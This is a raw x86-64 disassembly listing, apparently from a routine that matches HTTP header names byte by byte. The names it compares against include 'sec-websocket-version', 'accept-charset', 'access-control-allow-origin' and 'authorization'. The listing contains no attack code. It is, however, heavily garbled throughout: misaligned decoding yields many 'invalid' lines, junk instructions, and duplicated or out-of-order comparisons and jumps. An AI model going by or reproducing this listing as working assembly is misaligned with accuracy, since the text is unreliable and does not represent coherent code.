jne 0x14003bad2
jb 0x140039781
add byte [rax], al
add byte [rax], al
cmp byte [rbx + 0x13], 0x77
jne 0x14003bad2
push 0xffffffff80000023
jnp 0x140039781
invalid
cmp byte [rbx + 0x14], 0x2d
sub eax, 0x235e850f
add byte [rax], al
invalid
jne 0x14003bad2
add byte [rax + 0xf63157b], al
test dword [rbx + riz], edx
invalid
cmp byte [rbx + 0x15], 0x63
jne 0x14003bad2
add byte [rax], al
adc eax, 0x54850f63
and eax, dword [rax]
invalid
add byte [rax + 0xf72167b], al
cmp byte [rbx + 0x16], 0x72
jne 0x14003bad2
test dword [rdx + 0x23], ecx
add byte [rax], al
jb 0x140039792
test dword [rdx + 0x23], ecx
add byte [rax], al
cmp byte [rbx + 0x17], 0x65
jne 0x14003bad2
and eax, dword [rax]
add byte [rax + 0xf64187b], al
test dword [rsi], esi
and eax, dword ss:[rax]
cmp byte [rbx + 0x18], 0x64
jne 0x14003bad2
and eax, dword ss:[rax]
invalid
add byte [rax + 0xf65197b], al
test dword [rbx + riz], ebp
add byte [rax], al
cmp byte [rbx + 0x19], 0x65
jne 0x14003bad2
cmp byte [rbx + 0x1a], 0x6e
jnp 0x1400397c3
outsb dx, byte [rsi]
jne 0x14003bad2
cmp byte [rbx + 0x1b], 0x74
jne 0x14003bad2
sbb byte [rbx], ah
add byte [rax], al
sbb byte [rbx], ah
add byte [rax], al
cmp byte [rbx + 0x1c], 0x69
jnp 0x1400397d9
imul ecx, dword [rdi], 0x230e85
jne 0x14003bad2
add byte [rax + 0xf611d7b], al
test dword [rbx + riz], eax
cmp byte [rbx + 0x1d], 0x61
jne 0x14003bad2
add byte [rax], al
cmp byte [rbx + 0x1e], 0x6c
jne 0x14003bad2
cli
and al, byte [rax]
add byte [rax], al
add byte [rax], al
mov al, 5
mov cl, 0x73
add eax, 0x1fba73b1
add byte [rax], al
add byte [rax], al
jmp 0x14003b8f3
cmp byte [rbx], 0x73
invalid
test ebx, esp
mov edx, 0x1f
add byte [rax], al
jmp 0x14003b8f3
cmp byte [rbx], 0x73
jne 0x14003bad2
and al, byte [rax]
invalid
and al, byte [rax]
add byte [rax + 0xf65017b], al
test ecx, ebx
and al, byte [rax]
cmp byte [rbx + 1], 0x65
jne 0x14003bad2
invalid
add byte [rax + 0xf63027b], al
cmp byte [rbx + 2], 0x63
jne 0x14003bad2
add ah, byte [rbx + 0xf]
test edi, ecx
and al, byte [rax]
add byte [rax + 0xf2d037b], al
cmp byte [rbx + 3], 0x2d
jne 0x14003bad2
test ebp, eax
and al, byte [rax]
invalid
test ebp, eax
and al, byte [rax]
add byte [rax + 0xf77047b], al
ja 0x140039821
invalid
cmp byte [rbx + 4], 0x77
jne 0x14003bad2
ja 0x140039821
test dword [rbx - 0x7fffffde], edi
cmp byte [rbx + 5], 0x65
jne 0x14003bad2
jnp 0x14003981f
add eax, 0xb1850f65
and al, byte [rax]
add byte [rax + 0xf62067b], al
invalid
jne 0x14003bad2
invalid
jnp 0x140039835
jne 0x14003bad2
add byte [rax], al
cmp byte [rbx + 6], 0x62
invalid
jne 0x14003bad2
cmp byte [rbx + 7], 0x73
jne 0x14003bad2
jae 0x14003983f
test dword [rbp - 0x7fffffde], ebx
jnp 0x140039840
cmp byte [rbx + 8], 0x6f
outsd dx, dword [rsi]
jne 0x14003bad2
cmp byte [rbx + 9], 0x63
jne 0x14003bad2
jnp case.0x140024df4.134
invalid
add byte [rax + 0xf6b0a7b], al
cmp byte [rbx + 0xa], 0x6b
jne 0x14003bad2
or ch, byte [rbx + 0xf]
imul ecx, dword [rdi], 0xffffff85
jg 0x140039873
test dword [rdi + 0x22], edi
add byte [rax], al
cmp byte [rbx + 0xb], 0x65
jne 0x14003bad2
jne 0x14003987d
add byte [rax], al
jne 0x14003987d
add byte [rax], al
cmp byte [rbx + 0xc], 0x74
je 0x140039871
jne 0x14003bad2
test dword [rbx + 0x22], ebp
add byte [rax], al
and al, byte [rax]
add byte [rax + 0xf2d0d7b], al
invalid
invalid
invalid
cmp byte [rbx + 0xd], 0x2d
jne 0x14003bad2
test dword [rcx + 0x22], esp
add byte [rax], al
or eax, 0x61850f2d
and al, byte [rax]
add byte [rax + 0xf650e7b], al
test dword [rdi + 0x22], edx
test dword [rcx + 0x22], esp
add byte [rax], al
cmp byte [rbx + 0xe], 0x65
jne 0x14003bad2
add byte [rax], al
invalid
add byte [rax], al
cmp byte [rbx + 0xf], 0x78
jne 0x14003bad2
vmread qword [rdi], rcx
test dword [rbp + 0x22], ecx
add byte [rax], al
add byte [rax + 0xf74107b], al
cmp byte [rbx + 0x10], 0x74
jne 0x14003bad2
and al, byte [rax]
invalid
test dword [rbx + 0x22], eax
add byte [rax], al
cmp byte [rbx + 0x11], 0x65
jne 0x14003bad2
cmp byte [rbx + 0x12], 0x6e
jne 0x14003bad2
invalid
and al, byte [rax]
add byte [rax + 0xf73137b], al
adc esi, dword [rbx + 0xf]
cmp byte [rbx + 0x13], 0x73
jne 0x14003bad2
invalid
and al, byte [rax]
invalid
test dword [0xc00398d0], esp
and eax, 0x80000022
cmp byte [rbx + 0x14], 0x69
jnp 0x1400398c4
adc al, 0x69
imul ecx, dword [rdi], 0x221b85
jne 0x14003bad2
and al, byte [rax]
add byte [rax + 0xf6f157b], al
test dword [rcx], edx
and al, byte [rax]
add byte [rax], al
cmp byte [rbx + 0x16], 0x6e
jne 0x14003bad2
mov al, 0x3c
mov cl, 0x73
invalid
cmp byte [rbx + 0x15], 0x6f
jne 0x14003bad2
add byte [rax], al
cmp byte [rbx + 0x16], 0x6e
outsb dx, byte [rsi]
jne 0x14003bad2
add byte [rax], al
mov al, 0x3c
mov cl, 0x73
mov edx, 0x17
jmp 0x14003b8f3
invalid
movzx eax, byte [rbx]
cmp eax, 0x63
je 0x14003a888
cmp eax, 0x61
jne case.0x140039bfe.118
add byte [rax], al
cmp byte [rbx + 1], 0x63
jnp 0x1400398f2
add dword [rbx + 0xf], esp
test dword [rax + riz], edx
add byte [rax], al
invalid
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x63
jne case.0x140039bfe.118
and byte [rax], al
add byte [rax + 0xf65037b], al
test dword [rax], eax
cmp byte [rbx + 3], 0x65
jne case.0x140039bfe.118
and byte [rax], al
invalid
and byte [rax], al
add byte [rax + 0xf70047b], al
cmp byte [rbx + 4], 0x70
jne case.0x140039bfe.118
jo case.0x1400566a3.184
test esi, esi
invalid
cmp byte [rbx + 5], 0x74
jne case.0x140039bfe.118
test esp, ebp
invalid
add byte [rax], al
test esp, ebp
invalid
cmp byte [rbx + 6], 0x2d
jne case.0x140039bfe.118
invalid
cmp byte [rbx + 7], 0x63
jne case.0x140039bfe.118
cmp byte [rbx + 8], 0x68
jne case.0x140039bfe.118
invalid
add byte [rax], al
invalid
invalid
cmp byte [rbx + 9], 0x61
jne case.0x140039bfe.118
jnp 0x14003994a
invalid
cmp byte [rbx + 0xa], 0x72
jne case.0x140039bfe.118
or dh, byte [rdx + 0xf]
jb 0x14003995c
test dword [rdx - 0x7fffffe1], edi
jnp 0x140039960
cmp byte [rbx + 0xb], 0x73
jne case.0x140039bfe.118
invalid
add byte [rax], al
invalid
jae 0x140039966
test dword [rax - 0x7fffffe1], esi
mov al, 0x1f
add byte [rax], al
invalid
add byte [rax + 0xf650c7b], al
test dword [rsi - 0x4fffffe1], esp
add dword [rcx + 0xf95e974], esi
je 0x140039954
xchg ebp, eax
invalid
cmp byte [rbx + 0xc], 0x65
jnp case.0x14002f357.62
jne case.0x140039bfe.118
jne case.0x140039bfe.118
mov al, 1
mov cl, 0x74
je 0x140039954
xchg ebp, eax
sldt word [rax]
add byte [rax], al
xchg ebp, eax
sldt word [rax]
add byte [rax], al
add byte [rax], al
cmp byte [rbx], 0x73
jne 0x14003bad2
pop rdx
and dword [rax], eax
invalid
pop rdx
and dword [rax], eax
add byte [rax + 0xf65017b], al
jnp 0x14003997c
invalid
invalid
cmp byte [rbx + 1], 0x65
jne 0x14003bad2
jne 0x14003bad2
test dword [rax + 0x21], edx
add byte [rax], al
cmp byte [rbx + 2], 0x63
jne 0x14003bad2
and dword [rax], eax
invalid
add ah, byte [rbx + 0xf]
test dword [rsi + 0x21], eax
and dword [rax], eax
invalid
cmp byte [rbx + 3], 0x2d
jne 0x14003bad2
add byte [rax], al
cmp byte [rbx + 4], 0x77
jne 0x14003bad2
cmp byte [rbx + 5], 0x65
jne 0x14003bad2
cmp byte [rbx + 6], 0x62
jne 0x14003bad2
invalid
and dword [rax], eax
invalid
jnp case.0x1400423d4.232
invalid
invalid
add byte [rax + 0xf73077b], al
test dword [rcx + riz], edx
add byte [rax], al
invalid
cmp byte [rbx + 7], 0x73
jne 0x14003bad2
invalid
cmp byte [rbx + 8], 0x6f
or byte [rdi + 0xf], ch
outsd dx, dword [rsi]
jne 0x14003bad2
test dword [rdx], ecx
and dword [rax], eax
add byte [rax + 0xf63097b], al
invalid
invalid
or ah, byte [rcx]
add byte [rax], al
cmp byte [rbx + 9], 0x63
jne 0x14003bad2
test dword [rax], eax
and dword [rax], eax
add byte [rax], al
invalid
test dword [rax], eax
and dword [rax], eax
add byte [rax], al
cmp byte [rbx + 0xa], 0x6b
invalid
cmp byte [rbx + 0xa], 0x6b
jne 0x14003bad2
or ch, byte [rbx + 0xf]
test esi, esi
and byte [rax], al
add byte [rax + 0xf650b7b], al
test esp, ebp
and byte [rax], al
invalid
cmp byte [rbx + 0xb], 0x65
jne 0x14003bad2
add byte [rax], al
add byte [rax + 0xf740c7b], al
cmp byte [rbx + 0xc], 0x74
jne 0x14003bad2
test edx, esp
and byte [rax], al
add byte [rax + 0xf2d0d7b], al
cmp byte [rbx + 0xd], 0x2d
invalid
cmp byte [rbx + 0xd], 0x2d
jne 0x14003bad2
test eax, ebx
and byte [rax], al
add byte [rax + 0xf760e7b], al
test esi, ecx
invalid
cmp byte [rbx + 0xe], 0x76
jne 0x14003bad2
invalid
and byte [rax], al
invalid
invalid
and byte [rax], al
add byte [rax + 0xf650f7b], al
jne 0x14003bad2
cmp byte [rbx + 0x10], 0x72
invalid
cmp byte [rbx + 0xf], 0x65
jne 0x14003bad2
cmp byte [rbx + 0x10], 0x72
jne 0x14003bad2
invalid
and byte [rax], al
invalid
adc byte [rdx + 0xf], dh
jb 0x140039a22
test dword [rdx - 0x7fffffe0], edi
mov edx, 0x80000020
cmp byte [rbx + 0x11], 0x73
jne 0x14003bad2
add byte [rax], al
jnp 0x140039a2c
jae 0x140039a2c
test dword [rax - 0x7fffffe0], esi
jnp case.0x140010276.199
add byte [rax], al
cmp byte [rbx + 0x12], 0x69
jne 0x14003bad2
invalid
cmpsb byte [rsi], byte [rdi]
and byte [rax], al
invalid
imul ecx, dword [rdi], 0x20a685
add byte [rax + 0xf6f137b], al
test dword [rax + riz + 0x3fb00000], ebx
add byte [rax], al
mov al, 0x3f
cmp byte [rbx + 0x13], 0x6f
jne 0x14003bad2
add byte [rax], al
mov al, 0x3f
invalid
mov cl, 0x6e
mov edx, 0x14
jmp 0x14003b8f3
movzx ecx, byte [rbx]
lea eax, [rcx - 0x64]
pushfq
cmp eax, 8
ja case.default.0x140039a61
invalid
add byte [rax], al
adc eax, 0x8d480000
or eax, 0x251dc2
add byte [rax], al
lea rcx, [0x14028b81c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [rbx + 1], 0x61
add dword [rcx + 0xf], esp
test dword [rdi - 0x7fffffe2], ebx
jnp 0x140039a72
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x74
jne case.0x140039bfe.118
je 0x140039a81
test dword [rbp - 0x4fffffe2], edx
and byte [rcx + 0x1c32e965], dh
mov al, 0x20
mov cl, 0x65
jmp 0x14003b6b2
add byte [rax], al
add byte [rax], al
cmp byte [rbx], 0x63
jne 0x14003bad2
test dword [rcx + 0x20], ecx
add byte [rax], al
cmp esp, dword [rbx + 0xf]
test dword [rcx + 0x20], ecx
add byte [rax], al
cmp byte [rbx + 1], 0x6f
jne 0x14003bad2
cmp byte [rbx + 2], 0x6e
jnp 0x140039a98
outsb dx, byte [rsi]
jne 0x14003bad2
test dword [0xc0039abe], esi
jnp 0x140039aa3
cmp byte [rbx + 3], 0x74
jne 0x14003bad2
and byte [rax], al
invalid
je 0x140039ab1
test dword [rbx], ebp
sub esp, dword [rax]
add byte [rax], al
and byte [rax], al
add byte [rax + 0xf65047b], al
test dword [rcx], esp
and byte [rax], al
add byte [rax + 0xf6e057b], al
outsb dx, byte [rsi]
invalid
test dword [rdi], edx
cmp byte [rbx + 4], 0x65
jne 0x14003bad2
cmp byte [rbx + 5], 0x6e
outsb dx, byte [rsi]
jne 0x14003bad2
and byte [rax], al
add byte [rax + 0xf74067b], al
cmp byte [rbx + 6], 0x74
jne 0x14003bad2
invalid
invalid
jnp case.0x14001f409.161
cmp byte [rbx + 6], 0x74
jne 0x14003bad2
invalid
add byte [rax + 0xf2d077b], al
test dword [rbx], eax
add esp, dword [rax]
add byte [rax], al
cmp byte [rbx + 8], 0x73
invalid
cmp byte [rbx + 7], 0x2d
jne 0x14003bad2
add esp, dword [rax]
add byte [rax], al
sub eax, 0x2003850f
add byte [rax], al
cmp byte [rbx + 8], 0x73
jne 0x14003bad2
test ecx, edi
invalid
add byte [rax], al
test ecx, edi
invalid
cmp byte [rbx + 9], 0x65
jne 0x14003bad2
cmp byte [rbx + 0xa], 0x63
jne 0x14003bad2
jnp 0x140039af0
invalid
cmp byte [rbx + 0xb], 0x75
jne 0x14003bad2
invalid
add byte [rax], al
jne 0x140039b01
test ebx, ebx
fistp dword [rdi]
add byte [rax], al
invalid
cmp byte [rbx + 0xc], 0x72
jne 0x14003bad2
test ecx, edx
invalid
add byte [rax], al
cmp byte [rbx + 0xd], 0x69
jne 0x14003bad2
cmp byte [rbx + 0xe], 0x74
jne 0x14003bad2
mov ebp, 0x8000001f
jnp 0x140039b27
cmp byte [rbx + 0xf], 0x79
jne 0x14003bad2
invalid
jns 0x140039b29
test dword [rbx - 0x7fffffe1], esi
jnp 0x140039b32
invalid
cmp byte [rbx + 0x10], 0x2d
jne 0x14003bad2
invalid
invalid
invalid
add byte [rax], al
adc byte [0x15fad2036], ch
sub eax, 0x1fa9850f
test dword [rcx - 0x7fffffe1], ebp
jnp 0x140039b3d
add byte [rax], al
cmp byte [rbx + 0x11], 0x70
jne 0x14003bad2
lahf
invalid
add byte [rax], al
jo 0x140039b3d
test dword [rdi - 0x7fffffe1], ebx
jnp 0x140039b48
add byte [rax + 0xf6f127b], al
test dword [rbp - 0x7fffffe1], edx
jnp 0x140039b53
invalid
cmp byte [rbx + 0x12], 0x6f
outsd dx, dword [rsi]
jne 0x14003bad2
cmp byte [rbx + 0x13], 0x6c
insb byte [rdi], dx
jne 0x14003bad2
invalid
cmp byte [rbx + 0x14], 0x69
jne 0x14003bad2
add byte [rax], al
invalid
jnp 0x140039b5e
imul ecx, dword [rdi], 0x1f8185
add byte [rax + 0xf63157b], al
test dword [rdi + 0x1f], esi
add byte [rax], al
cmp byte [rbx + 0x15], 0x63
jne 0x14003bad2
adc eax, 0x77850f63
invalid
invalid
cmp byte [rbx + 0x16], 0x79
jns 0x140039b6f
jne 0x14003bad2
test dword [rbp + 0x1f], ebp
insd dword [rdi], dx
invalid
add byte [rax], al
cmp byte [rbx + 0x17], 0x2d
jne 0x14003bad2
cmp byte [rbx + 0x18], 0x72
jne 0x14003bad2
pop rcx
invalid
add byte [rax], al
sbb byte [rdx + 0xf], dh
test dword [rcx + 0x1f], ebx
add byte [rax], al
pop rcx
invalid
cmp byte [rbx + 0x19], 0x65
jne 0x14003bad2
invalid
invalid
add byte [rax], al
add byte [rax], al
cmp byte [rbx + 0x1a], 0x70
jne 0x14003bad2
sbb dh, byte [rax + 0xf]
test dword [rbp + 0x1f], eax
add byte [rax], al
cmp byte [rbx + 0x1b], 0x6f
jne 0x14003bad2
invalid
add byte [rax], al
cmp byte [rbx + 0x1c], 0x72
jne 0x14003bad2
add byte [rax], al
cmp byte [rbx + 0x1d], 0x74
jne 0x14003bad2
cmp byte [rbx + 0x1e], 0x2d
jne 0x14003bad2
sbb eax, 0x8000001f
cmp byte [rbx + 0x1f], 0x6f
jnp 0x140039bd7
outsd dx, dword [rsi]
jne 0x14003bad2
cmp byte [rbx + 0x20], 0x6e
jne 0x14003bad2
or dword [rdi], ebx
add byte [rax], al
cmp byte [rbx + 0x21], 0x6c
jne 0x14003bad2
invalid
add byte [rax], al
add byte [rax], al
mov al, 0x1c
mov cl, 0x79
mov edx, 0x22
jmp 0x14003b8f3
movzx eax, byte [rbx]
lea ecx, [rax - 0x72]
mov es, word [rbx - 0x78f0fa07]
cmp ecx, 5
ja case.default.0x140039bfe
in al, dx
or al, byte [rax]
add byte [rax - 0x73], cl
add eax, 0x251c49
lea rax, [0x14028b840]
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
cmp byte [rbx + 1], 0x65
jne case.0x140039bfe.118
cmp byte [rbx + 2], 0x66
jne case.0x140039bfe.118
invalid
jnp 0x140039c0f
jne case.0x140039bfe.118
test eax, edi
sbb al, 0
add byte [rdi], cl
movzx eax, byte [rbx + 3]
mov dh, 0x43
add eax, dword [rbx - 0x7bf08d08]
cmp eax, 0x72
invalid
invalid
cmp eax, 0x72
je 0x14003ba90
add byte [rax], al
outsd dx, dword [rsi]
invalid
add byte [rax], al
cmp eax, 0x65
jne case.0x140039bfe.118
loop 0x140039c44
add byte [rax], al
sbb al, 0
add byte [rax + 0xf72047b], al
cmp byte [rbx + 4], 0x72
jne case.0x140039bfe.118
test eax, ebx
sbb al, 0
invalid
test eax, ebx
sbb al, 0
add byte [rax + 0xf65057b], al
test esi, ecx
invalid
cmp byte [rbx + 5], 0x65
jne case.0x140039bfe.118
invalid
sbb al, 0
invalid
jnp 0x140039c3c
jne case.0x140039bfe.118
sbb al, 0
add byte [rax + 0x19c5e937], dh
invalid
invalid
invalid
invalid
add byte [rax], al
mov al, 0x37
jmp 0x14003b60a
add byte [rax], al
add byte [rax], al
movzx eax, byte [rbx]
cmp eax, 0x6c
je 0x14003b27c
add byte [rax], al
add byte [rax], al
cmp eax, 0x63
je 0x14003b182
invalid
add byte [rax], al
add byte [rax], al
cmp eax, 0x69
je 0x14003b205
invalid
invalid
add byte [rax], al
movabs byte [0x850f61f883000015], al
cmp eax, 0x61
jne case.0x140039bfe.118
add byte [rax], al
movabs al, byte [0x830143b60f00001c]
clc
invalid
add byte [rax], al
movzx eax, byte [rbx + 1]
cmp eax, 0x63
add dword [rbx - 0x7bf09c08], eax
xor eax, 0x8300001c
add byte [rax], al
cmp eax, 0x75
invalid
je 0x14003b8ae
add byte [rax], al
cmp eax, 0x75
jne case.0x140039bfe.118
mov bl, byte [rax + rax]
invalid
test dword [rdx - 0x7fffffe4], ecx
mov bl, byte [rax + rax]
sbb al, 0
add byte [rax + 0xf74027b], al
cmp byte [rbx + 2], 0x74
jne case.0x140039bfe.118
jnp 0x140039c87
je 0x140039c96
test dword [rax - 0x7fffffe4], eax
jnp 0x140039c92
cmp byte [rbx + 3], 0x68
jne case.0x140039bfe.118
sbb al, 0
invalid
push 0x1c76850f
jbe 0x140039cb0
add byte [rax], al
cmp byte [rbx + 4], 0x6f
jne case.0x140039bfe.118
insb byte [rdi], dx
sbb al, 0
invalid
cmp byte [rbx + 5], 0x72
jne case.0x140039bfe.118
add byte [rax], al
add eax, 0x62850f72
sbb al, 0
add byte [rax], al
cmp byte [rbx + 6], 0x69
jne case.0x140039bfe.118
add byte [rax], al
cmp byte [rbx + 6], 0x69
jne case.0x140039bfe.118
pop rax
sbb al, 0
add byte [rax + 0xf7a077b], al
test dword [rsi + 0x1c], ecx
add byte [rax], al
cmp byte [rbx + 7], 0x7a
jne case.0x140039bfe.118
cmp byte [rbx + 8], 0x61
jne case.0x140039bfe.118
invalid
jnp 0x140039cc9
invalid
add byte [rax + 0xf74097b], al
cmp byte [rbx + 9], 0x74
jne case.0x140039bfe.118
jnp 0x140039cd4
je 0x140039cdc
test dword [rdx], edi
sbb al, 0
add byte [rax + 0xf690a7b], al
cmp byte [rbx + 0xa], 0x69
invalid
cmp byte [rbx + 0xa], 0x69
jne case.0x140039bfe.118
invalid
or ch, byte [rcx + 0xf]
test dword [rax], esi
sbb al, 0
add byte [rax + 0xf6f0b7b], al
test dword [rsi], esp
sbb al, 0
cmp byte [rbx + 0xb], 0x6f
outsd dx, dword [rsi]
jne case.0x140039bfe.118
add byte [rax - 0x16914ef0], dh
call [rbx]
add byte [rax], al
mov al, 0x10
mov cl, 0x6e
jmp 0x14003b8ee
movzx eax, byte [rbx]
cmp eax, 0x70
je 0x14003a90e
cmp eax, 0x61
jne 0x14003bad2
invalid
invalid
add byte [rax], al
test esi, ecx
sbb eax, 0x7b800000
add byte [rax], al
cmp byte [rbx + 1], 0x63
jne 0x14003bad2
cmp byte [rbx + 2], 0x63
jne 0x14003bad2
add byte [rax], al
invalid
jnp 0x140039d1e
cmp byte [rbx + 1], 0x63
jne 0x14003bad2
cmp byte [rbx + 2], 0x63
jne 0x14003bad2
add byte [rax], al
cmp byte [rbx + 3], 0x65
jne 0x14003bad2
jne 0x14003bad2
mov al, 0x1d
add byte [rax], al
cmp byte [rbx + 4], 0x73
jne 0x14003bad2
cmp byte [rbx + 5], 0x73
jne 0x14003bad2
pushfq
invalid
add byte [rax], al
cmp byte [rbx + 6], 0x2d
jne 0x14003bad2
xchg edx, eax
invalid
add byte [rax], al
jnp 0x140039d3f
sub eax, 0x1d92850f
add byte [rax], al
add byte [rax + 0xf63077b], al
test dword [rax - 0x7fffffe3], ecx
sbb eax, 0x7b800000
invalid
cmp byte [rbx + 7], 0x63
jne 0x14003bad2
sbb eax, 0x7b800000
or byte [rdi + 0xf], ch
test dword [rsi + 0x1d], edi
cmp byte [rbx + 8], 0x6f
outsd dx, dword [rsi]
jne 0x14003bad2
add byte [rax], al
cmp byte [rbx + 9], 0x6e
jnp 0x140039d60
outsb dx, byte [rsi]
jne 0x14003bad2
cmp byte [rbx + 0xa], 0x74
or dh, byte [rdi + rcx - 0x7b]
jne 0x14003bad2
push 0x1d
add byte [rax], al
invalid
add byte [rax + 0xf720b7b], al
cmp byte [rbx + 0xb], 0x72
jne 0x14003bad2
jb 0x140039d7c
test dword [rax + 0x1d], esp
add byte [rax], al
cmp byte [rbx + 0xc], 0x6f
jne 0x14003bad2
test dword [rsi + 0x1d], edx
add byte [rax], al
push rsi
sbb eax, 0x7b800000
or eax, 0x4c850f6c
jne 0x14003bad2
invalid
invalid
cmp byte [rbx + 0xd], 0x6c
jne 0x14003bad2
cmp byte [rbx + 0xe], 0x2d
jne 0x14003bad2
jnp case.0x14002f357.29
invalid
sub eax, 0x1d42850f
add byte [rax], al
cmp byte [rbx + 0xf], 0x61
jne 0x14003bad2
invalid
add byte [rax], al
sbb eax, 0x7b800000
adc byte [rdi + rcx - 0x7b], ch
add byte [rax], al
cmp byte [rbx + 0x10], 0x6c
jne 0x14003bad2
sbb eax, 0x7b800000
adc dword [rdi + rcx - 0x7b], ebp
insb byte [rdi], dx
jne 0x14003bad2
cmp byte [rbx + 0x11], 0x6c
insb byte [rdi], dx
jne 0x14003bad2
cmp byte [rbx + 0x12], 0x6f
jne 0x14003bad2
cmp byte [rbx + 0x13], 0x77
jne 0x14003bad2
adc byte [0x1bb839dc4], bl
adc al, 0x2d
cmp byte [rbx + 0x14], 0x2d
jne 0x14003bad2
invalid
cmp byte [rbx + 0x15], 0x6f
jne 0x14003bad2
add byte [rax], al
adc eax, 0xfc850f6f
sbb al, 0
add byte [rax], al
cmp byte [rbx + 0x16], 0x72
invalid
cmp byte [rbx + 0x16], 0x72
jnp 0x140039def
invalid
jb 0x140039dea
jne 0x14003bad2
test edx, esi
sbb al, 0
invalid
add byte [rax], al
add byte [rax + 0xf69177b], al
test eax, ebp
sbb al, 0
add byte [rax], al
cmp byte [rbx + 0x18], 0x67
invalid
cmp byte [rbx + 0x17], 0x69
jne 0x14003bad2
cmp byte [rbx + 0x18], 0x67
jne 0x14003bad2
test esi, ebx
sbb al, 0
add byte [rax + 0xf69197b], al
cmp byte [rbx + 0x19], 0x69
invalid
test esp, edx
sbb al, 0
cmp byte [rbx + 0x19], 0x69
imul ecx, dword [rdi], 0x1cd485
jne 0x14003bad2
add byte [rax - 0x16914ef8], dh
add eax, 0xf00000c
or al, 0
add byte [rdi], cl
mov al, 8
mov cl, 0x6e
jmp 0x14003aa0c
or al, 0
invalid
movzx eax, byte [rbx]
mov dh, 3
cmp eax, 0x76
je 0x14003aa9c
invalid
mov dword [rax + rax], ecx
invalid
test byte [rcx - 0x7cfffff4], cl
clc
cmp eax, 0x64
je 0x14003aa8c
jo 0x140039e26
add byte [rax], al
je 0x14003aa8c
cmp eax, 0x61
jne case.0x140039bfe.118
invalid
cmp byte [rbx + 1], 0x67
jne case.0x140039bfe.118
jne case.0x140039bfe.118
test ebp, ebx
sbb al, byte [rax]
fstp qword [rdx]
add byte [rax], al
invalid
add byte [rax - 0x169a4ef3], dh
mov al, 0xd
mov cl, 0x65
jmp 0x14003aaaa
jb 0x140039e42
add byte [rax], al
jb 0x140039e42
add byte [rax], al
movzx eax, byte [rbx]
cmp eax, 0x6c
je 0x14003aa16
add byte [rax], al
cmp eax, 0x69
jne case.0x140039bfe.118
add byte [rax], al
invalid
add byte [rax + 0xf66017b], al
test dword [rbp - 0x7fffffe6], esi
sbb al, byte [rax]
invalid
invalid
jnp case.0x1400230cc.187
invalid
cmp byte [rbx + 1], 0x66
jne case.0x140039bfe.118
sbb al, byte [rax]
invalid
cmp byte [rbx + 2], 0x2d
sub eax, 0x1aab850f
jne case.0x140039bfe.118
test dword [rbx + 0xf00001a], ebp
add byte [rax], al
add byte [rdi], cl
movzx eax, byte [rbx + 3]
cmp eax, 0x72
je 0x14003b926
sbb al, byte [rax]
invalid
mov dh, 0x43
add eax, dword [rbx - 0x7bf08d08]
mov eax, 0x8300001a
sbb al, byte [rax]
invalid
cmp eax, 0x6d
sbb al, byte [rax]
add byte [rbx - 0x7af09208], al
cmp eax, 0x6d
jne case.0x140039bfe.118
cmp byte [rbx + 4], 0x61
jne case.0x140039bfe.118
invalid
jnp 0x140039e89
cmp eax, 0x6d
jne case.0x140039bfe.118
cmp byte [rbx + 4], 0x61
jne case.0x140039bfe.118
cmp byte [rbx + 5], 0x74
jne case.0x140039bfe.118
sbb al, byte [rax]
invalid
je 0x140039e95
test dword [rcx - 0x7fffffe6], eax
sbb al, byte [rax]
add byte [rax + 0xf63067b], al
cmp byte [rbx + 6], 0x63
jne case.0x140039bfe.118
add byte [rax], al
cmp byte [rbx + 6], 0x63
jne case.0x140039bfe.118
jnp 0x140039e94
invalid
add byte [rax - 0x16974ed9], dh
mov eax, 0x8000000b
or eax, dword [rax]
add byte [rax - 0x7af099c5], al
sbb al, byte gs:[rax]
invalid
mov al, 0x27
mov cl, 0x68
jmp 0x14003aa56
or eax, dword [rax]
invalid
or eax, dword [rax]
add byte [rax - 0x7af099c5], al
sbb al, byte gs:[rax]
add byte [rax + 0xf6f017b], al
add byte [rax], al
cmp byte [rbx], 0x66
jne case.0x140039bfe.118
jne case.0x140039bfe.118
cmp byte [rbx + 1], 0x6f
jne case.0x140039bfe.118
test dword [rbx + 0x1a], ebx
add byte [rax], al
test dword [rbx + 0x1a], ebx
add byte [rax], al
cmp byte [rbx + 2], 0x72
jne case.0x140039bfe.118
cmp byte [rbx + 3], 0x77
jne case.0x140039bfe.118
test dword [rdi + 0x1a], eax
add byte [rax], al
cmp byte [rbx + 4], 0x61
jne case.0x140039bfe.118
invalid
sbb al, byte [rax]
add byte [rax], al
cmp eax, 0x8000001a
cmp byte [rbx + 5], 0x72
jne case.0x140039bfe.118
jnp 0x140039ed7
jb 0x140039ee3
test dword [rbx], esi
sbb al, byte [rax]
add byte [rax + 0xf64067b], al
jne case.0x140039bfe.118
cmp byte [rbx + 7], 0x65
invalid
test dword [rdi], ebx
add byte [rax], al
cmp byte [rbx + 6], 0x64
jne case.0x140039bfe.118
jne case.0x140039bfe.118
cmp byte [rbx + 7], 0x65
jne case.0x140039bfe.118
sbb al, byte [rax]
invalid
sbb al, byte [rax]
add byte [rax - 0x459b4edc], dh
mov edx, 8
add byte [rax], al
mov al, 0x24
mov cl, 0x64
invalid
mov edx, 8
mov edx, 8
jmp 0x14003b8f3
add byte [rdi], cl
mov dh, 3
movzx eax, byte [rbx]
cmp eax, 0x78
je 0x14003ab49
or al, 0
invalid
or al, 0
add byte [rbx - 0x7bf08808], al
invalid
invalid
movsb byte [rdi], byte [rsi]
cmp eax, 0x77
je 0x14003aab4
or eax, dword [rax]
add byte [rbx - 0x7af09c08], al
mov ecx, 0x8000001b
cmp eax, 0x63
jne 0x14003bad2
cmp byte [rbx + 1], 0x6f
jnp case.0x140013145.166
outsd dx, dword [rsi]
jne 0x14003bad2
cmp byte [rbx + 2], 0x6e
jne 0x14003bad2
test dword [rbp - 0x7fffffe5], esp
jnp 0x140039f33
sbb eax, dword [rax]
add byte [rax + 0xf74037b], al
cmp byte [rbx + 3], 0x74
jne 0x14003bad2
sbb eax, dword [rax]
invalid
je 0x140039f41
test dword [rbx - 0x7fffffe5], ebx
jnp 0x140039f3e
wait
sbb eax, dword [rax]
add byte [rax + 0xf65047b], al
jne 0x14003bad2
invalid
jnp 0x140039f49
cmp byte [rbx + 4], 0x65
jne 0x14003bad2
xchg ecx, eax
sbb eax, dword [rax]
invalid
jne 0x14003bad2
sbb eax, dword [rax]
add byte [rax + 0xf6e057b], al
outsb dx, byte [rsi]
jne 0x14003bad2
invalid
jnp case.0x140010276.191
cmp byte [rbx + 5], 0x6e
